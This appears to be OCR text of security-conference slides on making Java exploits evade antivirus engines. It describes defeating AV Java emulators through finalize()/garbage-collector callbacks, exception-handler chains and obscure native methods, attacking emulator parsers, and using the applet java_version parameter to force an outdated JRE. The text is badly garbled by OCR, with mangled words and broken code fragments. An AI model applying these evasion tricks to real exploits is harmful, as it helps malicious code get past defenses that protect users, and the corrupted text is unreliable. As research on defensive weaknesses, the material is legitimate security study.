parts together to get the actual exploit to work



Emulators
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Emulaters(ntro)

Some defensive solutions (i.e. some AVs) available on the market offer an
embedded (in the engine) Java emulator

The emulator kicks in (usually) only for a subset of .class files

Emulators allow these products to resolve obfuscation problems or even
to obtain information about the execution flow of an exploit

Emulators can be annoying for Java exploits

Luckily there are a number of tricks to defeat emulation..



Emulatorgdetect/bieak/@xploit)

A These tricks aim mainly to the following 3 things:
I Detectingthe emulator
I Breakingthe emulator

I Exploitingthe emulator
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Emulatorgdetecting/breaking)

A Abusmg the Jav@arbage Collector (thanks #tsdamBoulton)

The main idea is to reuse J\@dllbackavhen the garbage collector

kicks in to execute part of the code, by implementing tinelize()
method for each class used

The workflow is the following:
A Define1 or more class implementing tHimalize method
A Deploythe exploit code as code of the finalize methods

A Define a strategyto trigger the Javaarbage collectof1+ times)
A Profit
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Emulatergexcepiion/native)

A Abusinglava Exception handling subsystem removel.ast

public E removelast()

.Il Ca” Chain Of functions executing the exploit Removes and returns the last element from this list.
code into theException handlers Specified by:

removeLast in interface Deque<E>

Returns:
I Building this chain by reusing exceptions the last element from this list

thrown bymis-called standard JRE functionq throws:

HoSuchElementException - if this list is empty

A AbusingJRE native methods

i Using obscure native methods like !
I\/Iath,hypot (thanks to@mihi43 LinkedList 1lr LinkedList();
lr. removelLast()
. . } (NoSuchElementException)
A NOTEIif the emulator is not able to run the {

code, the AV will not be able to see the explop
as the exploit flow will be revealed only when
the code is actually executed 86



Emulatorgexploiting)

A Emulators are usually part of AV engines

A Written in C/C++ for performance reasons
I Buffer and Heap overflows

A The Java class format is interesting to parse
I Table++

I Index++
I Len++

I 2*Free()
I More..

A Potentially a LOT to have fun with
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The Java Update



The Java Updaté(tro)

A{2X

I You were running an OLD version of the
Java Runtime on your system

A But..
I You did an update
A So..

T You are safe!




The JavaUpdaté{va warsiol)

code="IamMotSafe.class"
width="88"

height="88"

name="java_wversion"” wvalue="1.5*">

No Applet for you

Updating Java Installing a new version
Updating Javé= Uninstalling the old version

Usingjava versionto selectanold
JRE versiofor a given Applet.

& ¢ KRE version selection capabilities of tiesv
JavaPlugin are intended tasolve longstanding
A So problemsin enterprisedeployments ofapplet contentb

I You areNOTsafe! .



WET
What about the detection rate?



(Detection Raéd
By applyingsharing/Serialization hardening
on theoriginal exploitg A t K @OSNE YAYAYlIf 20




